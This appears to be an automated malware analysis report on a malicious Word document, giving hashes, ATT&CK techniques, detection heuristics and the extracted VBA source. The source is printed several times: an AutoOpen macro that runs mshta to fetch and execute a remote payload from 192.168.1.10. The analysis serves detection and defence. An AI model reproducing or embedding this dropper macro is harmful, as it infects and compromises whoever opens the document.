Office (OLE) malware analysis — malicious · 95d9ab92a2abc3d7

MALICIOUS

Office (OLE)

35.0 KB Created: 2016-05-07 07:37:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: 25923eba60741b0cfdd302c956c723a3 SHA-1: 565cd16a18be538f7bf46285cb83156357c86053 SHA-256: 95d9ab92a2abc3d741e622466687335a4af6df6ee9ffb168f54fa4c48b8d1d65

350 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes mshta.exe with a URL, indicating it's a dropper for a second-stage payload. The AutoOpen macro directly calls Shell() to launch 'mshta http://192.168.1.10:1111/xgJQV', which is a common technique for downloading and executing malicious content. The presence of the 'Doc.Dropper.Agent-6507605-0' ClamAV signature further supports its role as a dropper.

Heuristics 10

ClamAV: Doc.Dropper.Agent-6507605-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6507605-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    retVal = Shell("mshta http://192.168.1.10:1111/xgJQV", vbNormalFocus)
```
LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA
Matched line in script
```
    retVal = Shell("mshta http://192.168.1.10:1111/xgJQV", vbNormalFocus)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
' Main function
Sub AutoOpen()
```
Reference to mshta.exe high SC_STR_MSHTA

Reference to mshta.exe
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://192.168.1.10:1111/xgJQV In macro / runtime command snippet
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 475 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	475 bytes
SHA-256: `5c41c9739783629e9c7b9831556b9fa041e1a45996702df7d29a6805bff65aab`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" ' Main function Sub AutoOpen() Dim retVal As String retVal = Shell("mshta http://192.168.1.10:1111/xgJQV", vbNormalFocus) End Sub

SHA-256: 5c41c9739783629e9c7b9831556b9fa041e1a45996702df7d29a6805bff65aab

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
' Main function
Sub AutoOpen()

    Dim retVal As String

    retVal = Shell("mshta http://192.168.1.10:1111/xgJQV", vbNormalFocus)
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.